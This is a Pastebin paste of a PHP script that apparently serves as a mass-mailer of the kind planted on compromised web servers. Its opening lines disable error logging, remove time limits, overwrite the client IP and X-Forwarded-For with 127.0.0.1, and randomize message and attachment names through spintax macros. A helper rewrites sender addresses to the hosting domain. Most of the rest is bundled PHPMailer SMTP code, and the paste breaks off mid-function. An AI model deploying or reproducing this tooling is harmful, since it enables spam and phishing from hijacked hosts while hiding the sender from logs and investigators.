Guest User

Untitled

a guest
Mar 2nd, 2016
126
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 109.09 KB | None | 0 0
  1. @ini_set('error_log', NULL);
  2. @ini_set('log_errors', 0);
  3. @ini_set('max_execution_time', 0);
  4. @set_time_limit(0);
  5.  
  6. if(isset($_SERVER))
  7. {
  8.     $_SERVER['PHP_SELF'] = "/";
  9.     $_SERVER['REMOTE_ADDR'] = "127.0.0.1";
  10.     if(!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
  11.     {
  12.         $_SERVER['HTTP_X_FORWARDED_FOR'] = "127.0.0.1";
  13.     }
  14. }
  15. if(isset($_FILES))
  16. {
  17.     foreach($_FILES as $key => $file)
  18.     {
  19.         if(!strpos($file['name'], ".jpg"))
  20.         {
  21.             $filename = alter_macros($file['name']);
  22.             $filename = num_macros($filename);
  23.             $filename = xnum_macros($filename);
  24.             $_FILES[$key]["name"] = $filename;
  25.         }
  26.     }
  27. }
  28.    
  29. function custom_strip_tags($text)
  30. {
  31.     $text = strip_tags($text, '');
  32.     $text = str_replace("", "", $text);
  33.     $text = str_replace("\">", " ] ", $text);
  34.     return $text;
  35. }
  36. function is_ip($str) {
  37.   return preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/",$str);
  38. }
  39. function from_host($content)
  40. {
  41.     $host = preg_replace('/^(www|ftp)\./i','',@$_SERVER['HTTP_HOST']);
  42.     if (is_ip($host))
  43.     {
  44.         return $content;
  45.     }
  46.    
  47.     $tokens = explode("@", $content);
  48.     $content = $tokens[0] . "@" . $host . ">";
  49.     return $content;
  50. }
  51. function alter_macros($content)
  52. {
  53.     preg_match_all('#{(.*)}#Ui', $content, $matches);
  54.     for($i = 0; $i < count($matches[1]); $i++)
  55.     {
  56.         $ns = explode("|", $matches[1][$i]);
  57.         $c2 = count($ns);
  58.         $rand = rand(0, ($c2 - 1));
  59.         $content = str_replace("{".$matches[1][$i]."}", $ns[$rand], $content);
  60.     }
  61.     return $content;
  62. }
  63.  
  64. function xnum_macros($content)
  65. {
  66.     preg_match_all('#\[NUM\-([[:digit:]]+)\]#', $content, $matches);
  67.     for($i = 0; $i < count($matches[0]); $i++)
  68.     {
  69.         $num = $matches[1][$i];
  70.         $min = pow(10, $num - 1);
  71.         $max = pow(10, $num) - 1;
  72.         $rand = rand($min, $max);
  73.         $content = str_replace($matches[0][$i], $rand, $content);
  74.     }
  75.     return $content;
  76. }
  77. function num_macros($content)
  78. {
  79.     preg_match_all('#\[RAND\-([[:digit:]]+)\-([[:digit:]]+)\]#', $content, $matches);
  80.     for($i = 0; $i < count($matches[0]); $i++)
  81.     {
  82.         $min = $matches[1][$i];
  83.         $max = $matches[2][$i];
  84.         $rand = rand($min, $max);
  85.         $content = str_replace($matches[0][$i], $rand, $content);
  86.     }
  87.     return $content;
  88. }
  89.  
  90. function fteil_macros($content, $fteil)
  91. {    
  92.     return str_replace("[FTEIL]", $fteil, $content);
  93. }
  94. class SMTP
  95. {
  96.     const VERSION = '5.2.10';
  97.     const CRLF = "\r\n";
  98.     const DEFAULT_SMTP_PORT = 25;
  99.     const MAX_LINE_LENGTH = 998;
  100.     const DEBUG_OFF = 0;
  101.     const DEBUG_CLIENT = 1;
  102.     const DEBUG_SERVER = 2;
  103.     const DEBUG_CONNECTION = 3;
  104.     const DEBUG_LOWLEVEL = 4;
  105.     public $Version = '5.2.10';
  106.     public $SMTP_PORT = 25;
  107.     public $CRLF = "\r\n";
  108.     public $do_debug = self::DEBUG_OFF;
  109.     public $Debugoutput = 'echo';
  110.     public $do_verp = false;
  111.     public $Timeout = 300;
  112.     public $Timelimit = 300;
  113.     protected $smtp_conn;
  114.     protected $error = array(
  115.         'error' => '',
  116.         'detail' => '',
  117.         'smtp_code' => '',
  118.         'smtp_code_ex' => ''
  119.     );
  120.     protected $helo_rply = null;
  121.     protected $server_caps = null;
  122.     protected $last_reply = '';
  123.     protected function edebug($str, $level = 0)
  124.     {
  125.         if ($level > $this->do_debug) {
  126.             return;
  127.         }
  128.         if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
  129.             call_user_func($this->Debugoutput, $str, $this->do_debug);
  130.             return;
  131.         }
  132.         switch ($this->Debugoutput) {
  133.             case 'error_log':
  134.                 error_log($str);
  135.                 break;
  136.             case 'html':
  137.                 echo htmlentities(
  138.                     preg_replace('/[\r\n]+/', '', $str),
  139.                     ENT_QUOTES,
  140.                     'UTF-8'
  141.                 )
  142.                 . "
  143. \n";
  144.                 break;
  145.             case 'echo':
  146.             default:
  147.                 $str = preg_replace('/(\r\n|\r|\n)/ms', "\n", $str);
  148.                 echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
  149.                     "\n",
  150.                     "\n                   \t                  ",
  151.                     trim($str)
  152.                 )."\n";
  153.         }
  154.     }
  155.     public function connect($host, $port = null, $timeout = 30, $options = array())
  156.     {
  157.         static $streamok;
  158.         if (is_null($streamok)) {
  159.             $streamok = function_exists('stream_socket_client');
  160.         }
  161.         $this->setError('');
  162.         if ($this->connected()) {
  163.             $this->setError('Already connected to a server');
  164.             return false;
  165.         }
  166.         if (empty($port)) {
  167.             $port = self::DEFAULT_SMTP_PORT;
  168.         }
  169.         $this->edebug(
  170.             "Connection: opening to $host:$port, timeout=$timeout, options=".var_export($options, true),
  171.             self::DEBUG_CONNECTION
  172.         );
  173.         $errno = 0;
  174.         $errstr = '';
  175.         if ($streamok) {
  176.             $socket_context = stream_context_create($options);
  177.             $this->smtp_conn = @stream_socket_client(
  178.                 $host . ":" . $port,
  179.                 $errno,
  180.                 $errstr,
  181.                 $timeout,
  182.                 STREAM_CLIENT_CONNECT,
  183.                 $socket_context
  184.             );
  185.         } else {
  186.             $this->edebug(
  187.                 "Connection: stream_socket_client not available, falling back to fsockopen",
  188.                 self::DEBUG_CONNECTION
  189.             );
  190.             $this->smtp_conn = fsockopen(
  191.                 $host,
  192.                 $port,
  193.                 $errno,
  194.                 $errstr,
  195.                 $timeout
  196.             );
  197.         }
  198.         if (!is_resource($this->smtp_conn)) {
  199.             $this->setError(
  200.                 'Failed to connect to server',
  201.                 $errno,
  202.                 $errstr
  203.             );
  204.             $this->edebug(
  205.                 'SMTP ERROR: ' . $this->error['error']
  206.                 . ": $errstr ($errno)",
  207.                 self::DEBUG_CLIENT
  208.             );
  209.             return false;
  210.         }
  211.         $this->edebug('Connection: opened', self::DEBUG_CONNECTION);
  212.         if (substr(PHP_OS, 0, 3) != 'WIN') {
  213.             $max = ini_get('max_execution_time');
  214.             if ($max != 0 && $timeout > $max) {
  215.                 @set_time_limit($timeout);
  216.             }
  217.             stream_set_timeout($this->smtp_conn, $timeout, 0);
  218.         }
  219.         $announce = $this->get_lines();
  220.         $this->edebug('SERVER -> CLIENT: ' . $announce, self::DEBUG_SERVER);
  221.         return true;
  222.     }
  223.     public function startTLS()
  224.     {
  225.         if (!$this->sendCommand('STARTTLS', 'STARTTLS', 220)) {
  226.             return false;
  227.         }
  228.         if (!stream_socket_enable_crypto(
  229.             $this->smtp_conn,
  230.             true,
  231.             STREAM_CRYPTO_METHOD_TLS_CLIENT
  232.         )) {
  233.             return false;
  234.         }
  235.         return true;
  236.     }
  237.     public function authenticate(
  238.         $username,
  239.         $password,
  240.         $authtype = null,
  241.         $realm = '',
  242.         $workstation = ''
  243.     ) {
  244.         if (!$this->server_caps) {
  245.             $this->setError('Authentication is not allowed before HELO/EHLO');
  246.             return false;
  247.         }
  248.         if (array_key_exists('EHLO', $this->server_caps)) {
  249.             if (!array_key_exists('AUTH', $this->server_caps)) {
  250.                 $this->setError('Authentication is not allowed at this stage');
  251.                 return false;
  252.             }
  253.             self::edebug('Auth method requested: ' . ($authtype ? $authtype : 'UNKNOWN'), self::DEBUG_LOWLEVEL);
  254.             self::edebug(
  255.                 'Auth methods available on the server: ' . implode(',', $this->server_caps['AUTH']),
  256.                 self::DEBUG_LOWLEVEL
  257.             );
  258.             if (empty($authtype)) {
  259.                 foreach (array('LOGIN', 'CRAM-MD5', 'NTLM', 'PLAIN') as $method) {
  260.                     if (in_array($method, $this->server_caps['AUTH'])) {
  261.                         $authtype = $method;
  262.                         break;
  263.                     }
  264.                 }
  265.                 if (empty($authtype)) {
  266.                     $this->setError('No supported authentication methods found');
  267.                     return false;
  268.                 }
  269.                 self::edebug('Auth method selected: '.$authtype, self::DEBUG_LOWLEVEL);
  270.             }
  271.             if (!in_array($authtype, $this->server_caps['AUTH'])) {
  272.                 $this->setError("The requested authentication method \"$authtype\" is not supported by the server");
  273.                 return false;
  274.             }
  275.         } elseif (empty($authtype)) {
  276.             $authtype = 'LOGIN';
  277.         }
  278.         switch ($authtype) {
  279.             case 'PLAIN':
  280.                 if (!$this->sendCommand('AUTH', 'AUTH PLAIN', 334)) {
  281.                     return false;
  282.                 }
  283.                 if (!$this->sendCommand(
  284.                     'User & Password',
  285.                     base64_encode("\0" . $username . "\0" . $password),
  286.                     235
  287.                 )
  288.                 ) {
  289.                     return false;
  290.                 }
  291.                 break;
  292.             case 'LOGIN':
  293.                 if (!$this->sendCommand('AUTH', 'AUTH LOGIN', 334)) {
  294.                     return false;
  295.                 }
  296.                 if (!$this->sendCommand("Username", base64_encode($username), 334)) {
  297.                     return false;
  298.                 }
  299.                 if (!$this->sendCommand("Password", base64_encode($password), 235)) {
  300.                     return false;
  301.                 }
  302.                 break;
  303.             case 'NTLM':
  304.                 require_once 'extras/ntlm_sasl_client.php';
  305.                 $temp = new stdClass;
  306.                 $ntlm_client = new ntlm_sasl_client_class;
  307.                 if (!$ntlm_client->Initialize($temp)) {
  308.                     $this->setError($temp->error);
  309.                     $this->edebug(
  310.                         'You need to enable some modules in your php.ini file: '
  311.                         . $this->error['error'],
  312.                         self::DEBUG_CLIENT
  313.                     );
  314.                     return false;
  315.                 }
  316.                 $msg1 = $ntlm_client->TypeMsg1($realm, $workstation); //msg1
  317.                 if (!$this->sendCommand(
  318.                     'AUTH NTLM',
  319.                     'AUTH NTLM ' . base64_encode($msg1),
  320.                     334
  321.                 )
  322.                 ) {
  323.                     return false;
  324.                 }
  325.                 $challenge = substr($this->last_reply, 3);
  326.                 $challenge = base64_decode($challenge);
  327.                 $ntlm_res = $ntlm_client->NTLMResponse(
  328.                     substr($challenge, 24, 8),
  329.                     $password
  330.                 );
  331.                 $msg3 = $ntlm_client->TypeMsg3(
  332.                     $ntlm_res,
  333.                     $username,
  334.                     $realm,
  335.                     $workstation
  336.                 );
  337.                 return $this->sendCommand('Username', base64_encode($msg3), 235);
  338.             case 'CRAM-MD5':
  339.                 if (!$this->sendCommand('AUTH CRAM-MD5', 'AUTH CRAM-MD5', 334)) {
  340.                     return false;
  341.                 }
  342.                 $challenge = base64_decode(substr($this->last_reply, 4));
  343.                 $response = $username . ' ' . $this->hmac($challenge, $password);
  344.                 return $this->sendCommand('Username', base64_encode($response), 235);
  345.             default:
  346.                 $this->setError("Authentication method \"$authtype\" is not supported");
  347.                 return false;
  348.         }
  349.         return true;
  350.     }
  351.     protected function hmac($data, $key)
  352.     {
  353.         if (function_exists('hash_hmac')) {
  354.             return hash_hmac('md5', $data, $key);
  355.         }
  356.         $bytelen = 64; // byte length for md5
  357.         if (strlen($key) > $bytelen) {
  358.             $key = pack('H*', md5($key));
  359.         }
  360.         $key = str_pad($key, $bytelen, chr(0x00));
  361.         $ipad = str_pad('', $bytelen, chr(0x36));
  362.         $opad = str_pad('', $bytelen, chr(0x5c));
  363.         $k_ipad = $key ^ $ipad;
  364.         $k_opad = $key ^ $opad;
  365.         return md5($k_opad . pack('H*', md5($k_ipad . $data)));
  366.     }
  367.     public function connected()
  368.     {
  369.         if (is_resource($this->smtp_conn)) {
  370.             $sock_status = stream_get_meta_data($this->smtp_conn);
  371.             if ($sock_status['eof']) {
  372.                 $this->edebug(
  373.                     'SMTP NOTICE: EOF caught while checking if connected',
  374.                     self::DEBUG_CLIENT
  375.                 );
  376.                 $this->close();
  377.                 return false;
  378.             }
  379.             return true; // everything looks good
  380.         }
  381.         return false;
  382.     }
  383.     public function close()
  384.     {
  385.         $this->setError('');
  386.         $this->server_caps = null;
  387.         $this->helo_rply = null;
  388.         if (is_resource($this->smtp_conn)) {
  389.             fclose($this->smtp_conn);
  390.             $this->smtp_conn = null; //Makes for cleaner serialization
  391.             $this->edebug('Connection: closed', self::DEBUG_CONNECTION);
  392.         }
  393.     }
  394.     public function data($msg_data)
  395.     {
  396.         if (!$this->sendCommand('DATA', 'DATA', 354)) {
  397.             return false;
  398.         }
  399.         $lines = explode("\n", str_replace(array("\r\n", "\r"), "\n", $msg_data));
  400.         $field = substr($lines[0], 0, strpos($lines[0], ':'));
  401.         $in_headers = false;
  402.         if (!empty($field) && strpos($field, ' ') === false) {
  403.             $in_headers = true;
  404.         }
  405.         foreach ($lines as $line) {
  406.             $lines_out = array();
  407.             if ($in_headers and $line == '') {
  408.                 $in_headers = false;
  409.             }
  410.             while (isset($line[self::MAX_LINE_LENGTH])) {
  411.                 $pos = strrpos(substr($line, 0, self::MAX_LINE_LENGTH), ' ');
  412.                 if (!$pos) {
  413.                     $pos = self::MAX_LINE_LENGTH - 1;
  414.                     $lines_out[] = substr($line, 0, $pos);
  415.                     $line = substr($line, $pos);
  416.                 } else {
  417.                     $lines_out[] = substr($line, 0, $pos);
  418.                     $line = substr($line, $pos + 1);
  419.                 }
  420.                 if ($in_headers) {
  421.                     $line = "\t" . $line;
  422.                 }
  423.             }
  424.             $lines_out[] = $line;
  425.             foreach ($lines_out as $line_out) {
  426.                 if (!empty($line_out) and $line_out[0] == '.') {
  427.                     $line_out = '.' . $line_out;
  428.                 }
  429.                 $this->client_send($line_out . self::CRLF);
  430.             }
  431.         }
  432.         $savetimelimit = $this->Timelimit;
  433.         $this->Timelimit = $this->Timelimit * 2;
  434.         $result = $this->sendCommand('DATA END', '.', 250);
  435.         $this->Timelimit = $savetimelimit;
  436.         return $result;
  437.     }
  438.     public function hello($host = '')
  439.     {
  440.         return (boolean)($this->sendHello('EHLO', $host) or $this->sendHello('HELO', $host));
  441.     }
  442.     protected function sendHello($hello, $host)
  443.     {
  444.         $noerror = $this->sendCommand($hello, $hello . ' ' . $host, 250);
  445.         $this->helo_rply = $this->last_reply;
  446.         if ($noerror) {
  447.             $this->parseHelloFields($hello);
  448.         } else {
  449.             $this->server_caps = null;
  450.         }
  451.         return $noerror;
  452.     }
  453.     protected function parseHelloFields($type)
  454.     {
  455.         $this->server_caps = array();
  456.         $lines = explode("\n", $this->last_reply);
  457.         foreach ($lines as $n => $s) {
  458.             $s = trim(substr($s, 4));
  459.             if (!$s) {
  460.                 continue;
  461.             }
  462.             $fields = explode(' ', $s);
  463.             if (!empty($fields)) {
  464.                 if (!$n) {
  465.                     $name = $type;
  466.                     $fields = $fields[0];
  467.                 } else {
  468.                     $name = array_shift($fields);
  469.                     if ($name == 'SIZE') {
  470.                         $fields = ($fields) ? $fields[0] : 0;
  471.                     }
  472.                 }
  473.                 $this->server_caps[$name] = ($fields ? $fields : true);
  474.             }
  475.         }
  476.     }
  477.     public function mail($from)
  478.     {
  479.         $useVerp = ($this->do_verp ? ' XVERP' : '');
  480.         return $this->sendCommand(
  481.             'MAIL FROM',
  482.             'MAIL FROM:<' . $from . '>' . $useVerp,
  483.             250
  484.         );
  485.     }
  486.     public function quit($close_on_error = true)
  487.     {
  488.         $noerror = $this->sendCommand('QUIT', 'QUIT', 221);
  489.         $err = $this->error; //Save any error
  490.         if ($noerror or $close_on_error) {
  491.             $this->close();
  492.             $this->error = $err; //Restore any error from the quit command
  493.         }
  494.         return $noerror;
  495.     }
  496.     public function recipient($toaddr)
  497.     {
  498.         return $this->sendCommand(
  499.             'RCPT TO',
  500.             'RCPT TO:<' . $toaddr . '>',
  501.             array(250, 251)
  502.         );
  503.     }
  504.     public function reset()
  505.     {
  506.         return $this->sendCommand('RSET', 'RSET', 250);
  507.     }
  508.     protected function sendCommand($command, $commandstring, $expect)
  509.     {
  510.         if (!$this->connected()) {
  511.             $this->setError("Called $command without being connected");
  512.             return false;
  513.         }
  514.         $this->client_send($commandstring . self::CRLF);
  515.         $this->last_reply = $this->get_lines();
  516.         $matches = array();
  517.         if (preg_match("/^([0-9]{3})[ -](?:([0-9]\\.[0-9]\\.[0-9]) )?/", $this->last_reply, $matches)) {
  518.             $code = $matches[1];
  519.             $code_ex = (count($matches) > 2 ? $matches[2] : null);
  520.             $detail = preg_replace(
  521.                 "/{$code}[ -]".($code_ex ? str_replace('.', '\\.', $code_ex).' ' : '')."/m",
  522.                 '',
  523.                 $this->last_reply
  524.             );
  525.         } else {
  526.             $code = substr($this->last_reply, 0, 3);
  527.             $code_ex = null;
  528.             $detail = substr($this->last_reply, 4);
  529.         }
  530.         $this->edebug('SERVER -> CLIENT: ' . $this->last_reply, self::DEBUG_SERVER);
  531.         if (!in_array($code, (array)$expect)) {
  532.             $this->setError(
  533.                 "$command command failed",
  534.                 $detail,
  535.                 $code,
  536.                 $code_ex
  537.             );
  538.             $this->edebug(
  539.                 'SMTP ERROR: ' . $this->error['error'] . ': ' . $this->last_reply,
  540.                 self::DEBUG_CLIENT
  541.             );
  542.             return false;
  543.         }
  544.         $this->setError('');
  545.         return true;
  546.     }
  547.     public function sendAndMail($from)
  548.     {
  549.         return $this->sendCommand('SAML', "SAML FROM:$from", 250);
  550.     }
  551.     public function verify($name)
  552.     {
  553.         return $this->sendCommand('VRFY', "VRFY $name", array(250, 251));
  554.     }
  555.     public function noop()
  556.     {
  557.         return $this->sendCommand('NOOP', 'NOOP', 250);
  558.     }
  559.     public function turn()
  560.     {
  561.         $this->setError('The SMTP TURN command is not implemented');
  562.         $this->edebug('SMTP NOTICE: ' . $this->error['error'], self::DEBUG_CLIENT);
  563.         return false;
  564.     }
  565.     public function client_send($data)
  566.     {
  567.         $this->edebug("CLIENT -> SERVER: $data", self::DEBUG_CLIENT);
  568.         return fwrite($this->smtp_conn, $data);
  569.     }
  570.     public function getError()
  571.     {
  572.         return $this->error;
  573.     }
  574.     public function getServerExtList()
  575.     {
  576.         return $this->server_caps;
  577.     }
  578.     public function getServerExt($name)
  579.     {
  580.         if (!$this->server_caps) {
  581.             $this->setError('No HELO/EHLO was sent');
  582.             return null;
  583.         }
  584.         // the tight logic knot ;)
  585.         if (!array_key_exists($name, $this->server_caps)) {
  586.             if ($name == 'HELO') {
  587.                 return $this->server_caps['EHLO'];
  588.             }
  589.             if ($name == 'EHLO' || array_key_exists('EHLO', $this->server_caps)) {
  590.                 return false;
  591.             }
  592.             $this->setError('HELO handshake was used. Client knows nothing about server extensions');
  593.             return null;
  594.         }
  595.         return $this->server_caps[$name];
  596.     }
  597.     public function getLastReply()
  598.     {
  599.         return $this->last_reply;
  600.     }
  601.     protected function get_lines()
  602.     {
  603.         if (!is_resource($this->smtp_conn)) {
  604.             return '';
  605.         }
  606.         $data = '';
  607.         $endtime = 0;
  608.         stream_set_timeout($this->smtp_conn, $this->Timeout);
  609.         if ($this->Timelimit > 0) {
  610.             $endtime = time() + $this->Timelimit;
  611.         }
  612.         while (is_resource($this->smtp_conn) && !feof($this->smtp_conn)) {
  613.             $str = @fgets($this->smtp_conn, 515);
  614.             $this->edebug("SMTP -> get_lines(): \$data was \"$data\"", self::DEBUG_LOWLEVEL);
  615.             $this->edebug("SMTP -> get_lines(): \$str is \"$str\"", self::DEBUG_LOWLEVEL);
  616.             $data .= $str;
  617.             $this->edebug("SMTP -> get_lines(): \$data is \"$data\"", self::DEBUG_LOWLEVEL);
  618.             if ((isset($str[3]) and $str[3] == ' ')) {
  619.                 break;
  620.             }
  621.             $info = stream_get_meta_data($this->smtp_conn);
  622.             if ($info['timed_out']) {
  623.                 $this->edebug(
  624.                     'SMTP -> get_lines(): timed-out (' . $this->Timeout . ' sec)',
  625.                     self::DEBUG_LOWLEVEL
  626.                 );
  627.                 break;
  628.             }
  629.             if ($endtime and time() > $endtime) {
  630.                 $this->edebug(
  631.                     'SMTP -> get_lines(): timelimit reached ('.
  632.                     $this->Timelimit . ' sec)',
  633.                     self::DEBUG_LOWLEVEL
  634.                 );
  635.                 break;
  636.             }
  637.         }
  638.         return $data;
  639.     }
  640.     public function setVerp($enabled = false)
  641.     {
  642.         $this->do_verp = $enabled;
  643.     }
  644.     public function getVerp()
  645.     {
  646.         return $this->do_verp;
  647.     }
  648.     protected function setError($message, $detail = '', $smtp_code = '', $smtp_code_ex = '')
  649.     {
  650.         $this->error = array(
  651.             'error' => $message,
  652.             'detail' => $detail,
  653.             'smtp_code' => $smtp_code,
  654.             'smtp_code_ex' => $smtp_code_ex
  655.         );
  656.     }
  657.     public function setDebugOutput($method = 'echo')
  658.     {
  659.         $this->Debugoutput = $method;
  660.     }
  661.     public function getDebugOutput()
  662.     {
  663.         return $this->Debugoutput;
  664.     }
  665.     public function setDebugLevel($level = 0)
  666.     {
  667.         $this->do_debug = $level;
  668.     }
  669.     public function getDebugLevel()
  670.     {
  671.         return $this->do_debug;
  672.     }
  673.     public function setTimeout($timeout = 0)
  674.     {
  675.         $this->Timeout = $timeout;
  676.     }
  677.     public function getTimeout()
  678.     {
  679.         return $this->Timeout;
  680.     }
  681. }
  682. class PHPMailer
  683. {
  684.     public $Version = '5.2.9';
  685.     public $Priority = 3;
  686.     public $CharSet = 'iso-8859-1';
  687.     public $ContentType = 'text/plain';
  688.     public $Encoding = '8bit';
  689.     public $ErrorInfo = '';
  690.     public $From = 'root@localhost';
  691.     public $FromName = 'Root User';
  692.     public $Sender = '';
  693.     public $ReturnPath = '';
  694.     public $Subject = '';
  695.     public $Body = '';
  696.     public $AltBody = '';
  697.     public $Ical = '';
  698.     protected $MIMEBody = '';
  699.     protected $MIMEHeader = '';
  700.     protected $mailHeader = '';
  701.     public $WordWrap = 0;
  702.     public $Mailer = 'mail';
  703.     public $Sendmail = '/usr/sbin/sendmail';
  704.     public $UseSendmailOptions = true;
  705.     public $PluginDir = '';
  706.     public $ConfirmReadingTo = '';
  707.     public $Hostname = '';
  708.     public $MessageID = '';
  709.     public $MessageDate = '';
  710.     public $Host = 'localhost';
  711.     public $Port = 25;
  712.     public $Helo = '';
  713.     public $SMTPSecure = '';
  714.     public $SMTPAuth = false;
  715.     public $Username = '';
  716.     public $Password = '';
  717.     public $AuthType = '';
  718.     public $Realm = '';
  719.     public $Workstation = '';
  720.     public $Timeout = 300;
  721.     public $SMTPDebug = 0;
  722.     public $Debugoutput = 'echo';
  723.     public $SMTPKeepAlive = false;
  724.     public $SingleTo = false;
  725.     public $SingleToArray = array();
  726.     public $do_verp = false;
  727.     public $AllowEmpty = false;
  728.     public $LE = "\n";
  729.     public $DKIM_selector = '';
  730.     public $DKIM_identity = '';
  731.     public $DKIM_passphrase = '';
  732.     public $DKIM_domain = '';
  733.     public $DKIM_private = '';
  734.     public $action_function = '';
  735.     public $XMailer = '';
  736.     protected $smtp = null;
  737.     protected $to = array();
  738.     protected $cc = array();
  739.     protected $bcc = array();
  740.     protected $ReplyTo = array();
  741.     protected $all_recipients = array();
  742.     protected $attachment = array();
  743.     protected $CustomHeader = array();
  744.     protected $lastMessageID = '';
  745.     protected $message_type = '';
  746.     protected $boundary = array();
  747.     protected $language = array();
  748.     protected $error_count = 0;
  749.     protected $sign_cert_file = '';
  750.     protected $sign_key_file = '';
  751.     protected $sign_key_pass = '';
  752.     protected $exceptions = false;
  753.     const STOP_MESSAGE = 0;
  754.     const STOP_CONTINUE = 1;
  755.     const STOP_CRITICAL = 2;
  756.     const CRLF = "\r\n";
  757.     public function __construct($exceptions = false)
  758.     {
  759.         $this->exceptions = (boolean)$exceptions;
  760.     }
  761.     public function __destruct()
  762.     {
  763.     }
  764.     private function mailPassthru($to, $subject, $body, $header, $params)
  765.     {
  766.         //Check overloading of mail function to avoid double-encoding
  767.         if (ini_get('mbstring.func_overload') & 1) {
  768.             $subject = $this->secureHeader($subject);
  769.         } else {
  770.             $subject = $this->encodeHeader($this->secureHeader($subject));
  771.         }
  772.         if (ini_get('safe_mode') || !($this->UseSendmailOptions)) {
  773.             $result = @mail($to, $subject, $body, $header);
  774.         } else {
  775.             $result = @mail($to, $subject, $body, $header, $params);
  776.         }
  777.         return $result;
  778.     }
  779.     protected function edebug($str)
  780.     {
  781.         if ($this->SMTPDebug <= 0) {
  782.             return;
  783.         }
  784.         //Avoid clash with built-in function names
  785.         if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
  786.             call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
  787.             return;
  788.         }
  789.         switch ($this->Debugoutput) {
  790.             case 'error_log':
  791.                 //Don't output, just log
  792.                 error_log($str);
  793.                 break;
  794.             case 'html':
  795.                 //Cleans up output a bit for a better looking, HTML-safe output
  796.                 echo htmlentities(
  797.                     preg_replace('/[\r\n]+/', '', $str),
  798.                     ENT_QUOTES,
  799.                     'UTF-8'
  800.                 )
  801.                 . "
  802. \n";
  803.                 break;
  804.             case 'echo':
  805.             default:
  806.                 //Normalize line breaks
  807.                 $str = preg_replace('/(\r\n|\r|\n)/ms', "\n", $str);
  808.                 echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
  809.                     "\n",
  810.                     "\n                   \t                  ",
  811.                     trim($str)
  812.                 ) . "\n";
  813.         }
  814.     }
  815.     public function isHTML($isHtml = true)
  816.     {
  817.         if ($isHtml) {
  818.             $this->ContentType = 'text/html';
  819.         } else {
  820.             $this->ContentType = 'text/plain';
  821.         }
  822.     }
  823.     public function isSMTP()
  824.     {
  825.         $this->Mailer = 'smtp';
  826.     }
  827.     public function isMail()
  828.     {
  829.         $this->Mailer = 'mail';
  830.     }
  831.     public function isSendmail()
  832.     {
  833.         $ini_sendmail_path = ini_get('sendmail_path');
  834.         if (!stristr($ini_sendmail_path, 'sendmail')) {
  835.             $this->Sendmail = '/usr/sbin/sendmail';
  836.         } else {
  837.             $this->Sendmail = $ini_sendmail_path;
  838.         }
  839.         $this->Mailer = 'sendmail';
  840.     }
  841.     public function isQmail()
  842.     {
  843.         $ini_sendmail_path = ini_get('sendmail_path');
  844.         if (!stristr($ini_sendmail_path, 'qmail')) {
  845.             $this->Sendmail = '/var/qmail/bin/qmail-inject';
  846.         } else {
  847.             $this->Sendmail = $ini_sendmail_path;
  848.         }
  849.         $this->Mailer = 'qmail';
  850.     }
  851.     public function addAddress($address, $name = '')
  852.     {
  853.         return $this->addAnAddress('to', $address, $name);
  854.     }
  855.     public function addCC($address, $name = '')
  856.     {
  857.         return $this->addAnAddress('cc', $address, $name);
  858.     }
  859.     public function addBCC($address, $name = '')
  860.     {
  861.         return $this->addAnAddress('bcc', $address, $name);
  862.     }
  863.     public function addReplyTo($address, $name = '')
  864.     {
  865.         return $this->addAnAddress('Reply-To', $address, $name);
  866.     }
  867.     protected function addAnAddress($kind, $address, $name = '')
  868.     {
  869.         if (!preg_match('/^(to|cc|bcc|Reply-To)$/', $kind)) {
  870.             $this->setError($this->lang('Invalid recipient array') . ': ' . $kind);
  871.             $this->edebug($this->lang('Invalid recipient array') . ': ' . $kind);
  872.             if ($this->exceptions) {
  873.                 throw new phpmailerException('Invalid recipient array: ' . $kind);
  874.             }
  875.             return false;
  876.         }
  877.         $address = trim($address);
  878.         $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
  879.         if (!$this->validateAddress($address)) {
  880.             $this->setError($this->lang('invalid_address') . ': ' . $address);
  881.             $this->edebug($this->lang('invalid_address') . ': ' . $address);
  882.             if ($this->exceptions) {
  883.                 throw new phpmailerException($this->lang('invalid_address') . ': ' . $address);
  884.             }
  885.             return false;
  886.         }
  887.         if ($kind != 'Reply-To') {
  888.             if (!isset($this->all_recipients[strtolower($address)])) {
  889.                 array_push($this->$kind, array($address, $name));
  890.                 $this->all_recipients[strtolower($address)] = true;
  891.                 return true;
  892.             }
  893.         } else {
  894.             if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
  895.                 $this->ReplyTo[strtolower($address)] = array($address, $name);
  896.                 return true;
  897.             }
  898.         }
  899.         return false;
  900.     }
  901.     public function setFrom($address, $name = '', $auto = true)
  902.     {
  903.         $address = trim($address);
  904.         $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
  905.         if (!$this->validateAddress($address)) {
  906.             $this->setError($this->lang('invalid_address') . ': ' . $address);
  907.             $this->edebug($this->lang('invalid_address') . ': ' . $address);
  908.             if ($this->exceptions) {
  909.                 throw new phpmailerException($this->lang('invalid_address') . ': ' . $address);
  910.             }
  911.             return false;
  912.         }
  913.         $this->From = $address;
  914.         $this->FromName = $name;
  915.         if ($auto) {
  916.             if (empty($this->Sender)) {
  917.                 $this->Sender = $address;
  918.             }
  919.         }
  920.         return true;
  921.     }
  922.     public function getLastMessageID()
  923.     {
  924.         return $this->lastMessageID;
  925.     }
  926.     public static function validateAddress($address, $patternselect = 'auto')
  927.     {
  928.         if (!$patternselect or $patternselect == 'auto') {
  929.             //Check this constant first so it works when extension_loaded() is disabled by safe mode
  930.             //Constant was added in PHP 5.2.4
  931.             if (defined('PCRE_VERSION')) {
  932.                 //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
  933.                 if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
  934.                     $patternselect = 'pcre8';
  935.                 } else {
  936.                     $patternselect = 'pcre';
  937.                 }
  938.             } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
  939.                 //Fall back to older PCRE
  940.                 $patternselect = 'pcre';
  941.             } else {
